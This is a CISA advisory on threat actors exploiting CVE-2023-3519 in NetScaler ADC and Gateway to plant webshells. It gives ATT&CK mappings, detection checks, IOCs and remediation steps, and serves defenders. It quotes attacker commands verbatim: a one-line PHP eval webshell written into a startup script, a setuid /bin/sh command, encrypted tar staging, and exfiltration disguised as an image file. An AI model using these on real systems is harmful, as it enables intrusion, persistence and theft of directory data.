9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.9 High
AI Score
Confidence
High
0.965 High
EPSS
Percentile
99.6%
This Cybersecurity Advisory has been updated with new tactics, techniques, and procedures (TTPs) as well as indicators of compromise (IOCs) received from an additional victim and trusted third parties.
The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Cybersecurity Advisory to warn network defenders about exploitation of CVE-2023-3519, an unauthenticated remote code execution (RCE) vulnerability affecting NetScaler (formerly Citrix) Application Delivery Controller (ADC) and NetScaler Gateway. In June 2023, threat actors exploited this vulnerability as a zero-day to drop a webshell on a critical infrastructure organization’s non-production environment NetScaler ADC appliance. The webshell enabled the actors to perform discovery on the victim’s active directory (AD) and collect and exfiltrate AD data. The actors attempted to move laterally to a domain controller but network-segmentation controls for the appliance blocked movement.
The victim organization identified the compromise and reported the activity to CISA and Citrix. Citrix released a patch for this vulnerability on July 18, 2023.
This advisory provides TTPs and detection methods shared with CISA by the victim. CISA encourages critical infrastructure organizations to use the detection guidance included in this advisory for help with determining system compromise. If potential compromise is detected, organizations should apply the incident response recommendations provided in this CSA. If no compromise is detected, organizations should immediately apply patches provided by Citrix.
Download the PDF version of this report:
AA23-201A Threat Actors Exploiting Citrix CVE-2023-3519 to Implant Webshells (PDF, 560.29 KB )
In August 2023, CISA received TTPs and IOCs from an additional victim and trusted third parties. This CSA has been updated with the TTPs and IOCs to assist administrators with detecting and responding to this activity.
For a downloadable list of IOCs, see the following XML and JSON files:
AA23-201A STIX XML (XML, 43.13 KB )
AA23-201A STIX JSON (JSON, 40.09 KB )
Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 13. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
In July 2023, a critical infrastructure organization reported to CISA that threat actors may have exploited a zero-day vulnerability in NetScaler ADC to implant a webshell on their non-production NetScaler ADC appliance. Citrix confirmed that the actors exploited a zero-day vulnerability: CVE-2023-3519. Citrix released a patch on July 18, 2023.[1]
In August 2023, CISA received TTPs and IOCs from an additional victim and third parties. The actors implanted a webshell, gained root level access to the compromised system, and performed discovery against the Active Directory (AD). For information, see the Victim 2 and Additional Observed Activity sections.
CVE-2023-3519 is an unauthenticated RCE vulnerability affecting the following versions of NetScaler ADC and NetScaler Gateway:[1]
The affected appliance must be configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or authentication, authorization, and auditing (AAA) virtual server for exploitation.[1]
CISA added CVE-2023-3519 to its Known Exploited Vulnerabilities Catalog on July 19, 2023.
As part of their initial exploit chain [T1190], the threat actors uploaded a TGZ file [T1105] containing a generic webshell [T1505.003], discovery script [TA0007], and setuid
binary [T1548.001] on the ADC appliance and conducted SMB scanning on the subnet [T1046].
The actors used the webshell for AD enumeration [T1016] and to exfiltrate AD data [TA0010]. Specifically, the actors:
/flash/nsconfig/keys/updated/*
and /nsconfig/ns.conf
[T1005]. Note: These configuration files contain an encrypted password that can be decrypted by the key stored on the ADC appliance [T1552.001].ldapsearch
. The actors queried for:
objectClass=user
) (objectcategory=person
) [T1033]objectClass=computer
) [T1018]objectClass=group
) [T1069.002]objectClass=subnet
)objectClass=organizationalUnit
)objectClass=contact
)objectClass=partition
)objectClass=trustedDomain
) [T1482]tar -czvf - /var/tmp/all.txt | openssl des3 -salt -k <> -out /var/tmp/test.tar.gz
. (A “tar ball” is a compressed and zipped file used by threat actors for collection and exfiltration.)cp /var/tmp/test.tar.gz /netscaler/ns_gui/vpn/medialogininit.png
.The actors’ other discovery activities were unsuccessful due to the critical infrastructure organization’s deployment of their NetScaler ADC appliance in a segmented environment. The actors attempted to:
ping -c 1 google.com
) [T1016.001].The actors also attempted to delete their artifacts [TA0005]. The actors deleted the authorization configuration file (/etc/auth.conf
)—likely to prevent configured users (e.g., admin) from logging in remotely (e.g., CLI) [T1531]. To regain access to the ADC appliance, the organization would normally reboot into single use mode, which may have deleted artifacts from the device; however, the victim had a Secure Shell (SSH) key readily available that allowed them into the appliance without rebooting it.
The actors’ post-exploitation lateral movement attempts were also blocked by network-segmentation controls. The actors implanted a second webshell on the victim that they later removed. This was likely a PHP shell with proxying capability. The actors likely used this to attempt proxying SMB traffic to the DC [T1090.001] (the victim observed SMB connections where the actors attempted to use the previously decrypted AD credential to authenticate with the DC from the ADC via a virtual machine). Firewall and account restrictions (only certain internal accounts could authenticate to the DC) blocked this activity.
Threat actors uploaded a PHP webshell *logouttm.php*
[T1036.005], likely as part of their initial exploit chain, to */netscaler/ns_gui/vpn/
. Within an hour of installing the webshell, the actors implanted an Executable and Linkable Format (ELF) binary pykeygen
that set user unique identifier (UID) to root and executed /bin/sh
[T1059.004] via setuid
and execve syscall.*
[T1106]. Note: A third party also observed threat actors use an ELF binary (named pip4
) to execute /bin/sh
via syscall
and change the UID to root. pip4
was located at /var/python/bin
.
With root level access, the actors used hands-on-keyboard for discovery. They queried the AD via ldapsearch
for users, groups, and computers. They collected the data in gzipped text files renamed 1.css
and 2.css
and placed the files in /netscaler/ns_gui/vpn/
for exfiltration.
After exfiltrating the files, the actors deleted them from the system [T1070.004] as well as some access logs, error logs, and authentication logs [T1070.002]. The victim organization detected the intrusion and mitigated the activity but did not identify signs of additional malicious activity.
For command and control (C2), the actors appeared to use compromised pfSense devices [T1584]; the victim observed communications with two pfSense IP addresses indicating the actor was using them for multi-hop proxying C2 traffic [T1090.003].
According to trusted third party reporting, threat actors leveraged open source webshells and other publicly available tools [T1588.002]:
loading[.]php
to /vpn/vpn/
. Loading[.]php
is a modified version of an open-source PHP webshell [2]. The modified webshell had a custom protocol handler, update://
, created via a stream_wrapper_register
(https://www.php.net/manual/en/function.stream-wrapper-register[.]php). The custom protocol enabled the webshell to send encoded commands to the AD via ldapsearch
:public function stream_open($path, $mode, $options, &$opened_path)
{
$this->code = hex2bin(substr(base64_decode(strrev(substr(substr($path,9),5))),2));
$this->position = 0;
return true;
}
/tmp
directory. The file hooks SSH and captures credentials. The actors’ modifications to the tool wrote encoded captured credentials (20 random characters + reversed/base64) to a file created in a hard-coded path (/var/nslog/counters/prometheus/metrc_codes_client.log
) [T1074.001]. The actors then exfiltrated the collected credentials and deleted /var/nslog/counters/prometheus/metrc_codes_client.log
3 minutes after exfiltration). (The deleted file was recreated, possibly because the actors’ memory hook was still active.)\vpn\themes
.
HTTP POST
request, decrypt it using an internally embedded RSA public key [T1140], and execute the code in memory; each request to the webshell returns an HTTP 500
response code. The actor has used the following file names for SECRETSAUCE: vpn[.]php
, logout[.]php
, log[.]php
, prod[.]php
[T1036].defaults.php
.the
in the /tmp
directory. LIGOLO-NG is a tunneller [T1572] written in Go that provides encrypted reverse TCP/TLS connections [T1573.002] to a remote host./tmp
directory. NPS is an open source tunneller written in Go. It must be configured from the command line or via a configuration file. Features including support for most common protocols and extensions, including compression, encryption, and port reuse.Additionally, threat actors:
/flash/nsconfig/rc.netscaler
with:chmod u+s /bin/sh
echo “<?php http_response_code(401);@eval(\$_REQUEST[‘variable’]);?>” > /[redacted path to webshell]/[redacted].php
[T1222.002].The webshell path was in a web accessible folder, and the actors’ modifications enabled them to run /bin/sh
commands as root and enabled persistence because the webshell was run on every reboot [T1547].
C:\Users\<redacted>\AppData\Local\Temp\
ADExplorer.exe
and executed it with the following command: ADExplorer.exe -snapshot "" <filename>.dat /accepteula
.Update End
See Table 1–Table 11 for all referenced threat actor tactics and techniques in this advisory.
The tables have been updated with the following techniques:
Table 1: Cyber Threat Actors ATT&CK Techniques for Resource Development Technique Title | ID | Use |
---|---|---|
Compromise Infrastructure | T1584 | The threat actors appear to have used compromised pfSense devices to proxy C2 traffic to Victim 2. |
Obtain Capabilities: Tool | T1588.002 | The threat actors leveraged open source webshells [2] [4] and other publicly available tools, including a modified version of open-source SSH inject tool [3], LIGOLO-NG [5] tunneller, and NPS tunneller [6]. |
Table 2: Cyber Threat Actors ATT&CK Techniques for Initial Access Technique Title | ID | Use |
---|---|---|
Exploit Public-Facing Application | T1190 | The threat actors exploited CVE-2023-3519 to implant a webshell on the organization’s NetScaler ADC appliance. |
Table 3: Cyber Threat Actors ATT&CK Techniques for Execution Technique Title | ID | Use |
---|---|---|
Command and Scripting Interpreter: Unix Shell | T1059.004 | The threat actors executed /bin/sh as root. |
Native API | T1106 | The threat actors executed /bin/sh via syscall . |
Table 4: Cyber Threat Actors ATT&CK Techniques for Persistence Technique Title | ID | Use |
---|---|---|
Boot or Logon Autostart Execution | T1547 | Threat actors used /flash/nsconfig/rc.netscaler rewrite a webshell on every reboot. |
Server Software Component: Web Shell | T1505.003 | The threat actors implanted a generic webshell on the organization’s NetScaler ADC appliance. |
Table 5: Cyber Threat Actors ATT&CK Techniques for Privilege Escalation Technique Title | ID | Use |
---|---|---|
Abuse Elevation Control Mechanism: Setuid and Setgid | T1548.001 | As part of their initial exploit chain, the threat actors uploaded a TGZ file contain a setuid binary on the ADC appliance. |
Table 6: Cyber Threat Actors ATT&CK Techniques for Defense Evasion Technique Title | ID | Use |
---|---|---|
Deobfuscate/Decode Files or Information | T1140 | The threat actors deployed the SECRETSAUCE webshell, which can receive PHP code from an HTTP POST request, decrypt it using an internally embedded RSA public key. |
File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification | T1222.002 | The threat actors appended /flash/nsconfig/rc.netscaler with: |
chmod u+s /bin/sh |
||
echo “<?php http_response_code(401);@eval(\$_REQUEST[‘variable’]);?>” > /[redacted path to webshell]/[redacted].php . |
||
Indicator Removal | T1070 | The threat actors deleted log files from Victim 2. |
Indicator Removal: Clear Linux or Mac System Logs | T1070.002 | The threat actors some access logs, error logs, and authentication logs from Victim 2. |
Indicator Removal: File Deletion | T1070.004 | The threat actors deleted collected files after exfiltrating them. |
Masquerading | T1036 | The actor has used the following file names for SECRETSAUCE to appear legitimate: vpn[.]php , logout[.]php , log[.]php , and prod[.]php . |
Masquerading: Match Legitimate Name or Location | T1036.005 | The threat actors named a webshell *logouttm.php* . |
Masquerading: Masquerade File Type | T1036.008 | The threat actors exfiltrated data by uploading it as an image file to a web-accessible path. |
Table 7: Cyber Threat Actors ATT&CK Techniques for Credential Access Technique Title | ID | Use |
---|---|---|
Unsecured Credentials: Credentials In Files | T1552.001 | The threat actors obtained encrypted passwords from NetScaler ADC configuration files, and the decryption key was stored on the ADC appliance. |
Unsecured Credentials: Private Keys | T1552.004 | The threat actors obtained decryption keys to decrypt the AD credential obtained from the NetScaler ADC configuration files. |
Table 8: Cyber Threat Actors ATT&CK Techniques for Discovery Technique Title | ID | Use |
---|---|---|
Domain Trust Discovery | T1482 | The threat actors queried the AD for trusts. |
Permission Groups Discovery: Domain Groups | T1069.002 | The threat actors quired the AD for groups. |
Remote System Discovery | T1018 |
The threat actors queried the AD for computers.
The threat actors attempted to execute a subnet-wide curl command to identify what was accessible from within the network as well as potential lateral movement targets. Network-segmentation controls prevented this activity.
System Network Configuration Discovery | T1016 | The actors used a webshell for AD enumeration.
System Network Configuration Discovery: Internet Connection Discovery | T1016.001 | The threat actors attempted to verify outbound network connectivity with a ping command and executed host commands for a subnet-wide DNS lookup. Network-segmentation controls prevented this activity.
Network Service Discovery | T1046 | The threat actors conducted SMB scanning on the organization’s subnet.
Account Discovery: Domain Account | T1087.002 | The threat actors queried the AD for users.
Table 9: Cyber Threat Actors ATT&CK Techniques for Collection Technique Title | ID | Use |
---|---|---|
Archive Collected Data: Archive via Utility | T1560.001 |
The threat actors encrypted discovery data collected via openssl in “tar ball.”
Update September 6, 2023:
The threat actors collected data in gzipped text files.
End update
Data from Local System | T1005 | The threat actors viewed NetScaler ADC configuration files flash/nsconfig/keys/updated/*
and /nsconfig/ns.conf
.
Data Staged | T1074 | The threat actors uploaded data as an image file to a web-accessible path: cp /var/tmp/test.tar.gz /netscaler/ns_gui/vpn/medialogininit.png
.
Data Staged: Local Data Staging | T1074.001 | The threat actors modified tool wrote captured credentials to a file created in a hard-coded path (/var/nslog/counters/ prometheus/metrc_codes_client.log
).
Table 10: Cyber Threat Actors ATT&CK Techniques for Command and Control Technique Title | ID | Use |
---|---|---|
Encrypted Channel: Asymmetric Cryptography | T1573.002 | The threat actors deployed LIGOLO-NG, which is a tunneller that provides encrypted reverse TCP/TLS connections to a remote host. |
Ingress Tool Transfer | T1105 | The threat actors exploited CVE-2023-3519 to upload a TGZ file containing a generic webshell, discovery script, and setuid binary on the ADC appliance. |
Protocol Tunneling | T1572 | The threat actors deployed LIGOLO-NG and NPS tunnellers. |
Proxy: Internal Proxy | T1090.001 | The actors likely used a PHP shell with proxying capability to attempt proxying SMB traffic to the DC (the traffic was blocked by a firewall and account restrictions). |
Proxy: Multi-hop Proxy | T1090.003 | The threat actors appear to have used compromised pfSense devices to proxy C2 traffic to Victim 2. |
Table 11: Cyber Threat Actors ATT&CK Techniques for Impact Technique Title | ID | Use |
---|---|---|
Account Access Removal | T1531 | The threat actors deleted the authorization configuration file (/etc/auth.conf )—likely to prevent configured users from logging in remotely (e.g., CLI). |
Run the following victim-created checks on the ADC shell interface to check for signs of compromise:
-newermt
parameter with the date that corresponds to your last installation:find /netscaler/ns_gui/ -type f -name *.php -newermt [YYYYMMDD] -exec ls -l {} \;
find /var/vpn/ -type f -newermt [YYYYMMDD] -exec ls -l {} \;
find /var/netscaler/logon/ -type f -newermt [YYYYMMDD] -exec ls -l {} \;
find /var/python/ -type f -newermt [YYYYMMDD] -exec ls -l {} \;
zgrep '\.sh' /var/log/httperror.log*
zgrep '\.php' /var/log/httperror.log*
post-ex
commands, for example:grep '/flash/nsconfig/keys' /var/log/sh.log*
setuid
binaries dropped:find /var -perm -4000 -user root -not -path "/var/nslog/*" -newermt [YYYYMMDD] -exec ls -l {} \;
4625
where the failure reason is “User not allowed to logon at this computer.”sh.log*
, bash.log*
) for traces of potential malicious activity (some example keywords for grep
are provided below):database.php
ns_gui/vpn
/flash/nsconfig/keys/updated
LDAPTLS_REQCERT
ldapsearch
openssl + salt
httpaccess-vpn.log*
) for 200 successful access of unknown web resources.The following resources may assist with detecting signs of compromise:
See Table 12 for IOCs obtained from Victim 2. (Note: a trusted third party observed the same PHP webshell and ELF binary hashes).
Table 12: Victim 2-provided IOCs Affiliated with Citrix CVE-2023-3519 Exploitation File Name | Description | SHA-1 Hash | MD5 Hash |
---|---|---|---|
Logouttm[.]php | PHP Webshell | 3345ad8b43d6771532ca55acf7e95fe98aeadb27 | 47b8d29319a9e85aaf829f4f2f9c6c00 |
pykeygen | ELF Binary | b8f9258e9c7c882944e2b773557b49e5821517fe | ee51f599d266be5fd89b423ca24521f1 |
See Table 13 and Table 14 for IOCs addresses obtained from trusted third parties.
Table 13: Third-party Provided IP Addresses Affiliated with Citrix CVE-2023-3519 Exploitation IP Address | Description | Date Observed |
---|---|---|
5.2.64[.]155 | Threat actors used this to drop a webshell. | June 12, 2023 |
5.255.101[.]76 | Attempted outbound connection to this C2 observed on a victim. | Late June 2023 |
172.94.124[.]18 | Threat actors used this infrastructure to remote into a victim network. | July 20, 2023 |
154.6.91[.]149 | Threat actors used this infrastructure to remote into a victim network. | July 21, 2023 |
Table 14: Third-party Provided IOCs Affiliated with Citrix CVE-2023-3519 Exploitation File Name | Description | SHA-1 Hash | MD5 Hash |
---|---|---|---|
info[.]php | PHP Webshell | 55c83cb25be5c521e4874e22b1422c360abf0a29 | c0b32901f9c6ce3f965b8552f7d058d4 |
NPS | NPS tunneller [4] | ec17f7b3acb2334a062c37e0271c31c3c8b6879c | 9b6f12aed2369a99a1132edd2ede779d |
the | LIGOLO-NG [3] tunneller | dec36a2aa4ecb86eafd01015e27c06f51d104317 | b383c4ed6712a0a06fb85b1d8405e0f1 |
If compromise is detected, organizations should:
If the threat actor used /flash/nsconfig/rc.netscaler to make /bin/sh a setuid binary and to rewrite a webshell on every reboot, organizations should clean rc.netscaler to prevent the webshell from getting rewritten by using the following third-party created command.
root@SOME-NETSCALER# cat /flash/nsconfig/rc.netscaler
[redacted output]
chmod u+s /bin/sh
echo "<?php http_response_code(401);@eval(\$_REQUEST['variable']);?>" > /[redacted webshell path]/[redacted].php
root@SOME-NETSCALER# cat /[redacted webshell path]/[redacted].php
<?php http_response_code(401);@eval($_REQUEST['variable']);?>
CISA recommends all organizations:
In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
CISA recommends continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
[1] Citrix Security Bulletin CTX561482: Citrix ADC and Citrix Gateway Security Bulletin for CVE-2023-3519, CVE-2023-3466, CVE-2023-3467
[2] GitHub - dxkite/php-stream-shell: a simple stream_wrapper shell
[3] GitHub - ssh-inject/injectme.c
[4] GitHub - L-codes/Neo-reGeorg: Neo-reGeorg is a project that seeks to aggressively refactor reGeorg
[5] GitHub - nicocha30/ligolo-ng
[7] Microsoft: AD Explorer - Sysinternals
Mandiant and Shadowserver contributed to this Cybersecurity Advisory.
July 20, 2023: Initial version. **July 24, 2023:**Updated affected NetScaler ADC 12.1-FIPS and NetScaler ADC 12.1-NDcPP version numbers. Updated Step 3 in Detection Methods to use zgrep
instead of grep
. **September 6, 2023: **Updates noted throughout. **September 21, 2023:**Removed persistence commands and associated technique for tampering with security tools. October 6, 2023: Updated resources in Detection Methods section
attack.mitre.org/versions/v13/matrices/enterprise/
attack.mitre.org/versions/v13/tactics/TA0005/
attack.mitre.org/versions/v13/tactics/TA0007/
attack.mitre.org/versions/v13/tactics/TA0010/
attack.mitre.org/versions/v13/techniques/T1005
attack.mitre.org/versions/v13/techniques/T1005
attack.mitre.org/versions/v13/techniques/T1016
attack.mitre.org/versions/v13/techniques/T1016/
attack.mitre.org/versions/v13/techniques/T1016/001/
attack.mitre.org/versions/v13/techniques/T1016/001/
attack.mitre.org/versions/v13/techniques/T1018/
attack.mitre.org/versions/v13/techniques/T1018/
attack.mitre.org/versions/v13/techniques/T1033/
attack.mitre.org/versions/v13/techniques/T1036/
attack.mitre.org/versions/v13/techniques/T1036/
attack.mitre.org/versions/v13/techniques/T1036/
attack.mitre.org/versions/v13/techniques/T1036/005/
attack.mitre.org/versions/v13/techniques/T1036/005/
attack.mitre.org/versions/v13/techniques/T1036/005/
attack.mitre.org/versions/v13/techniques/T1036/008/
attack.mitre.org/versions/v13/techniques/T1036/008/
attack.mitre.org/versions/v13/techniques/T1046/
attack.mitre.org/versions/v13/techniques/T1046/
attack.mitre.org/versions/v13/techniques/T1059/004/
attack.mitre.org/versions/v13/techniques/T1059/004/
attack.mitre.org/versions/v13/techniques/T1059/004/
attack.mitre.org/versions/v13/techniques/T1069/002/
attack.mitre.org/versions/v13/techniques/T1069/002/
attack.mitre.org/versions/v13/techniques/T1070/
attack.mitre.org/versions/v13/techniques/T1070/
attack.mitre.org/versions/v13/techniques/T1070/002
attack.mitre.org/versions/v13/techniques/T1070/002/
attack.mitre.org/versions/v13/techniques/T1070/002/
attack.mitre.org/versions/v13/techniques/T1070/004
attack.mitre.org/versions/v13/techniques/T1070/004
attack.mitre.org/versions/v13/techniques/T1070/004
attack.mitre.org/versions/v13/techniques/T1074/
attack.mitre.org/versions/v13/techniques/T1074/
attack.mitre.org/versions/v13/techniques/T1074/001/
attack.mitre.org/versions/v13/techniques/T1074/001/
attack.mitre.org/versions/v13/techniques/T1074/001/
attack.mitre.org/versions/v13/techniques/T1087/002
attack.mitre.org/versions/v13/techniques/T1090/001/
attack.mitre.org/versions/v13/techniques/T1090/001/
attack.mitre.org/versions/v13/techniques/T1090/003/
attack.mitre.org/versions/v13/techniques/T1090/003/
attack.mitre.org/versions/v13/techniques/T1090/003/
attack.mitre.org/versions/v13/techniques/T1105
attack.mitre.org/versions/v13/techniques/T1105/
attack.mitre.org/versions/v13/techniques/T1106/
attack.mitre.org/versions/v13/techniques/T1106/
attack.mitre.org/versions/v13/techniques/T1106/
attack.mitre.org/versions/v13/techniques/T1140/
attack.mitre.org/versions/v13/techniques/T1140/
attack.mitre.org/versions/v13/techniques/T1140/
attack.mitre.org/versions/v13/techniques/T1190/
attack.mitre.org/versions/v13/techniques/T1190/
attack.mitre.org/versions/v13/techniques/T1222/002/
attack.mitre.org/versions/v13/techniques/T1222/002/
attack.mitre.org/versions/v13/techniques/T1222/002/
attack.mitre.org/versions/v13/techniques/T1482/
attack.mitre.org/versions/v13/techniques/T1482/
attack.mitre.org/versions/v13/techniques/T1505/003
attack.mitre.org/versions/v13/techniques/T1505/003/
attack.mitre.org/versions/v13/techniques/T1531/
attack.mitre.org/versions/v13/techniques/T1531/
attack.mitre.org/versions/v13/techniques/T1547/
attack.mitre.org/versions/v13/techniques/T1547/
attack.mitre.org/versions/v13/techniques/T1547/
attack.mitre.org/versions/v13/techniques/T1548/001
attack.mitre.org/versions/v13/techniques/T1548/001
attack.mitre.org/versions/v13/techniques/T1552/001
attack.mitre.org/versions/v13/techniques/T1552/001
attack.mitre.org/versions/v13/techniques/T1552/004/
attack.mitre.org/versions/v13/techniques/T1552/004/
attack.mitre.org/versions/v13/techniques/T1560/001
attack.mitre.org/versions/v13/techniques/T1560/001/
attack.mitre.org/versions/v13/techniques/T1572/
attack.mitre.org/versions/v13/techniques/T1572/
attack.mitre.org/versions/v13/techniques/T1572/
attack.mitre.org/versions/v13/techniques/T1573/002/
attack.mitre.org/versions/v13/techniques/T1573/002/
attack.mitre.org/versions/v13/techniques/T1584/
attack.mitre.org/versions/v13/techniques/T1584/
attack.mitre.org/versions/v13/techniques/T1584/
attack.mitre.org/versions/v13/techniques/T1588/002/
attack.mitre.org/versions/v13/techniques/T1588/002/
attack.mitre.org/versions/v13/techniques/T1588/002/
github.com/cisagov/Decider/
github.com/dxkite/php-stream-shell
github.com/dxkite/php-stream-shell
github.com/dxkite/php-stream-shell
github.com/ehang-io/nps
github.com/ehang-io/nps
github.com/ehang-io/nps
github.com/ehang-io/nps
github.com/L-codes/Neo-reGeorg
github.com/L-codes/Neo-reGeorg
github.com/L-codes/Neo-reGeorg
github.com/Nicocha30/ligolo-ng
github.com/Nicocha30/ligolo-ng
github.com/Nicocha30/ligolo-ng
github.com/Nicocha30/ligolo-ng
github.com/xpn/ssh-inject/blob/master/injectme.c
github.com/xpn/ssh-inject/blob/master/injectme.c
github.com/xpn/ssh-inject/blob/master/injectme.c
learn.microsoft.com/en-us/sysinternals/downloads/adexplorer
learn.microsoft.com/en-us/sysinternals/downloads/adexplorer
public.govdelivery.com/accounts/USDHSCISA/subscriber/new?topic_id=USDHSCISA_138
securityintelligence.com/posts/x-force-uncovers-global-netscaler-gateway-credential-harvesting-campaign/
support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467
support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467
support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467
support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467
support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467
twitter.com/CISAgov
twitter.com/intent/tweet?text=Threat%20Actors%20Exploiting%20Citrix%20CVE-2023-3519%20to%20Implant%20Webshells+https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-201a
www.cisa.gov/cross-sector-cybersecurity-performance-goals
www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping
www.dhs.gov
www.dhs.gov/foia
www.dhs.gov/performance-financial-reports
www.facebook.com/CISA
www.facebook.com/sharer/sharer.php?u=https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-201a&title=Threat%20Actors%20Exploiting%20Citrix%20CVE-2023-3519%20to%20Implant%20Webshells
www.greynoise.io/blog/will-the-real-citrix-cve-2023-3519-please-stand-up
www.instagram.com/cisagov
www.linkedin.com/company/cybersecurity-and-infrastructure-security-agency
www.linkedin.com/sharing/share-offsite/?url=https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-201a
www.mandiant.com/resources/blog/citrix-adc-vulnerability-ioc-scanner
www.mandiant.com/resources/blog/citrix-zero-day-espionage
www.oig.dhs.gov/
www.shadowserver.org/news/technical-summary-of-observed-citrix-cve-2023-3519-incidents/
www.surveymonkey.com/r/CISA-cyber-survey?product=https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-201a
www.usa.gov/
www.whitehouse.gov/
www.youtube.com/@cisagov
mailto:?subject=Threat%20Actors%20Exploiting%20Citrix%20CVE-2023-3519%20to%20Implant%20Webshells&body=www.cisa.gov/news-events/cybersecurity-advisories/aa23-201a
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.9 High
AI Score
Confidence
High
0.965 High
EPSS
Percentile
99.6%